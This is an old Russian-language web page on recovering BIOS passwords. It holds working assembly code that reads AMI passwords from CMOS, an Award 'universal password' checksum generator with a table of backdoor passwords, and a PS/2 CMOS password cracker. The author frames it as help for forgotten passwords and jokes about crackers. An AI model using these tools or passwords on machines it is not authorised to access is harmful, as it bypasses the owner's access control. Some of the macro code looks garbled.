Как узнать паpоль после загpузки?
в AMI bios'e:
type String6=string[6]; function GetAMIPassword; assembler; asm cld les di,@Result mov si,di mov al,37h out 70h,al in al,71h and al,0F0h xor bx,bx xchg bh,al stosb @M1: mov al,bl add al,38h out 70h,al in al,71h or al,al jz @Exit mov ah,al xor cl,cl @M2: test al,80h jz @M3 test al,61h jnp @M4 stc @M4: rcl al,1 jmp @M6 @M3: test al,61h jp @M5 stc @M5: rcl al,1 @M6: inc cl cmp al,bh jne @M2 inc byte ptr es:[si] mov byte ptr es:[di],cl inc di mov bh,ah inc bl cmp bl,6 jb @M1 @Exit: end;
В AWARD bios'e: В отличии от других разновидностей bios-ов, Award-bios хранит не пароль, а его 2-байтовую контрольную сумму (кс) в cmos-e. Таким образом, обычно существует большое количество паролей, "открывающих" машину. Но не это главное.
В Award-bios-ах есть универсальная кс (укс). Если подобрать строку символов (не более восьми) с той же кс, то можно заставить компьютер работать. Разумеется, таких паролей для каждой укс существует достаточно много. Любой из таких паролей можно назвать универсальным паролем (уп). Долгое время в ходу были bios-ы только с одной укс (взятой, скорее всего, от строки AWARD_SW), и было найдено несколько других уп, таких как j262, j256, Syxz, lkwpeter, Wodj... Все эти пароли, как Вы поняли, имеют одну и ту же кс.
Последнее время появились машины с другими укс, взятыми от каких-то других строк или выдуманных "от балды". Видимо это связанно с лицензированием (продажей) bios-а различным фирмам.
Но... алгоритм взятия кс от строки остался прежним и место укс в bios-е то же самое. Пока мне известно 5 вариантов укс (2 байта по адресу F000:EC60) Итак, если там число 0x1EAA, то паролем может служить всем известная комбинация AWARD_SW. Бывают также bios-ы, где по этому адресу стоят другие числа. Для удобства по одному из вариантов уп (те, которые сгенерировала моя программа) привожу в табличке:
0x0604 KDD 0x1EAA ZJAAADC 0xBEA2 ZAAADA 0xAAAA UAABBA 0xFEA3 ZBAAACA
(Я подбирал пароли только из латинских заглавных букв.) Конечно, можно было бы поискать и более осмысленные сочетания символов, имеющих те же кс, но это дело я готов предоставить Вам (надо написать простенькую программу, запустить ее работать на ночь, а потом просмотреть файл в несколько сот кил :-) Для справки: четырехбуквенных паролей для 0x1EAA-модификации bios-ов существует 11656 штук, если брать набор символов от '!' до 'z'. Пяти-, шести-, семи- и восьмибуквенных наберется еще больше...
Резюме: В отличии от владельцев других моделей компьютеров, Вам не придется развинчивать корпус и искать там перемычку, сбрасывающую cmos или вытаскивать (или, что еще хуже - закорачивать) батарейку, если Вы забыли свой пароль, даже если этот пароль поставлен и на вход в setup и на загрузку. Попробуйте один из вышеприведенных, авось подойдет. Не забудте придерживать клавишу shift. Резюме для потенциальных взломщиков не пишу - догадаетесь сами :-)
; revision history: ; 17 April 1998 - Just started :-) ; 21 April 1998 - First public release ; 29 April 1998 - Minor changes ; 30 July 1998 - Added password for 0xAAAA chechsum ;tasm /ml /m9 /zn award_cr.asm ;tlink /t/x award_cr.obj .MODEL Tiny,C LOCALS .CODE org 100h P386 GETCRC macro xor bx,bx xor ah,ah mov bl,cl or ch,ch jz _ret0 mov al,ch rol bx,2 add bx,ax rol ecx,16 or cl,cl jz _ret1 mov al,cl rol bx,2 add bx,ax or ch,ch jz _ret1 mov al,ch rol bx,2 add bx,ax or dl,dl jz _ret1 mov al,dl rol bx,2 add bx,ax or dh,dh jz _ret1 mov al,dh rol bx,2 add bx,ax rol edx,16 or dl,dl jz _ret2 mov al,dl rol bx,2 add bx,ax or dh,dh _ret2 mov al,dh rol bx,2 add bx,ax _ret2: rol edx,16 _ret1: rol ecx,16 _ret0: endm start: mov dx,offset msg mov ah,9 int 21h cld mov ax,0F000h mov es,ax xor bx,bx _loop: mov di,bx mov si,offset pattern mov cx,18 rep cmpsw jcxz _award inc bx cmp bx,0FFFFh-36 jne _loop mov dx,offset badbios mov ah,9 jmp _p _award: mov cx,es:[0EC60h] mov ah,9 mov dx,offset m1eaa cmp cx,01EAAh je _p mov dx,offset m0604 cmp cx,00604h je _p mov dx,offset mfea3 cmp cx,0FEA3h je _p mov dx,offset mbea2 cmp cx,0BEA2h je _p mov dx,offset maaaa cmp cx,0AAAAh je _p mov word ptr _label+2,cx xor ecx,ecx xor edx,edx mov cl,xlat[0] rol ecx,16 _proc2: rol edx,16 _proc1: rol ecx,16 _proc: GETCRC _label: dw 0FB81h,0 je _found xor bx,bx mov bl,cl mov cl,xlat[bx] cmp cl,'.' jne _proc mov cl,xlat[0] mov bl,ch mov ch,xlat[bx] cmp ch,'.' jne _proc mov ch,cl rol ecx,16 mov bl,cl mov cl,xlat[bx] cmp cl,'.' jne _proc1 mov cl,xlat[0] mov bl,ch mov ch,xlat[bx] cmp ch,'.' jne _proc1 mov ch,cl mov bl,dl mov dl,xlat[bx] cmp dl,'.' jne _proc1 mov dl,xlat[0] mov bl,dh mov dh,xlat[bx] cmp dh,'.' jne _proc1 mov dh,dl rol edx,16 mov bl,dl mov dl,xlat[bx] cmp dl,'.' jne _proc2 mov dl,xlat[0] mov bl,dh mov dh,xlat[bx] cmp dh,'.' jne _proc2 _fail: ret _found: push edx mov ah,2 mov dl,cl or dl,dl jz _ok1 int 21h mov dl,ch or dl,dl jz _ok1 int 21h rol ecx,16 mov dl,cl or dl,dl jz _ok1 int 21h mov dl,ch or dl,dl jz _ok1 int 21h pop ecx mov dl,cl or dl,dl jz _ok0 int 21h mov dl,ch or dl,dl jz _ok0 int 21h rol ecx,16 mov dl,cl or dl,dl jz _ok0 int 21h mov dl,ch or dl,dl jz _ok0 _p: int 21h _ok0: ret _ok1: pop eax ret msg db 'Resolving AWARD BIOS default passwords',13,10 db 'Version as of July 30 1996',13,10 db 'Copyleft Award Software :-)',13,10 db 'Co-authors: Alex Bachin',13,10 db ' Alexey Novojilov ',13,10 db 'Note: pre-computed passwords are: KDD, ZBAAACA, ZAAADA, ZJAAADC, UAABBA',13,10 db 'Wait, please...$' badbios db 13,10,'Unknown or non-AWARD bios. Contact authors, please!$' m0604 db 'KDD$' mfea3 db 'ZBAAACA$' mbea2 db 'ZAAADA$' m1eaa db 'ZJAAADC$' maaaa db 'UAABBA$' pattern db 056h,053h,051h,052h,033h,0F6h,033h,0DBh db 032h,0E4h,0B9h,008h,000h,08Ah,082h,0A2h db 000h,00Ah,0C0h,074h,009h,0D1h,0C3h,0D1h db 0C3h,003h,0D8h,046h,0E2h,0EFh,093h,05Ah db 059h,05Bh,05Eh,0C3h xlat db 'A...............................................................' db '.BCDEFGHIJKLMNOPQRSTUVWXYZ.' end start Hа PS/2 можно попытаться сделать так: ;------------ ps2psw.asm Ideal Model Tiny CodeSeg Org 100h Start: Mov si,OffSet MsCopRt Call PutSt In al,92h Test al,08h Jnz @@Crk Mov si,OffSet MsPsw1 Call PutSt Call PutPsw Mov si,OffSet MsPsw2 Call PutSt Mov bl,0Eh Mov ah,0 Mov al,bl Call SetCMOS Ret @@Crk: Mov si,OffSet MsCrk1 Call PutSt Mov bl,0Eh Mov ah,80h Mov al,bl Call SetCMOS Mov si,OffSet MsCrk2 Call PutSt Ret MsCopRt Db 'PS/2 PassWord Cracker v1.00 by Alex Yakovlev.', 13, 10, 13, 10, 0 Proc PutPsw Push ax bx cx dx Mov cx,7 Mov dl,38h @@1: Mov al,dl Call GetCMOS And al,7Fh Mov bx,OffSet Tabl Xlat Call PutCh Inc dl Loop @@1 Pop dx cx bx ax Ret EndP Tabl Db 0, 0 ; 00 .. 01 - ?, ESC Db '+1234567890=' ; 02 .. 13 - 1st row Db 0, 0 ; 14 .. 15 - BS, Tab Db 'QWERTYUIOP[]' ; 16 .. 27 - 2nd row Db 0, 0 ; 28 .. 29 - Enter, Ctrl Db 'ASDFGHJKL', 0, 0 ; 30 .. 40 - 3rd row Db '#' ; 41 .. 41 - ... Db 0 ; 42 .. 42 - LShift Db ';' ; 43 .. 43 - ... Db 'ZXCVBNM', 0, 0 ; 44 .. 52 - 4th row MsPsw1 Db "The PassWord is: '", 0 MsPsw2 Db "'.", 13, 10, 0 MsCrk1 Db 'Cracking CMOS password checking...', 13, 10, 0 MsCrk2 Db 'And now, please, turn the computer off and on,', 13, 10 Db ' ... and run this program again.', 13, 10, 0 Proc PutCh ; In: AL - Char ; Push ax dx Mov ah,2 Mov dl,al Int 21h Pop dx ax Ret EndP Proc PutSt ; In: DS:SI - String ; Push ax si @@1: LodSb Or al,al Jz @@2 Call PutCh Jmp @@1 @@2: Pop si ax Ret EndP Proc GetCMOS ; In: AL = Index ; Out: AL = Value ; Cli Out 70h,al Jmp Short $+2 In al,71h Sti RetN EndP Proc SetCMOS ; In: AL = Index, AH = Value ; Cli Out 70h,al Jmp Short $+2 Mov al,ah Out 71h,al Sti RetN EndP Proc CrcCMOS Push ax bx cx dx Mov bl,10h Mov bh,32h ;;; Mov dx,0FFFFh Xor ah,ah Mov cl,4 @@1: Mov al,bl Call GetCMOS ;;;;; Xor dh,al Mov al,dh Rol ax,cl Xor dx,ax Rol ax,1 Xchg dh,dl Xor dx,ax Ror ax,cl And al,0E0h Xor dx,ax Ror ax,1 Xor dh,al ;;;;; Inc bl Cmp bl,bh Jne @@1 ;;; Mov al,32h Mov ah,dh Call SetCMOS Mov al,33h Mov ah,dl Call SetCMOS Pop dx cx bx ax Ret EndP End Start
Оставить комментарий
Комментарии
[Ссылка]
О нас
http://www.incatalog.kz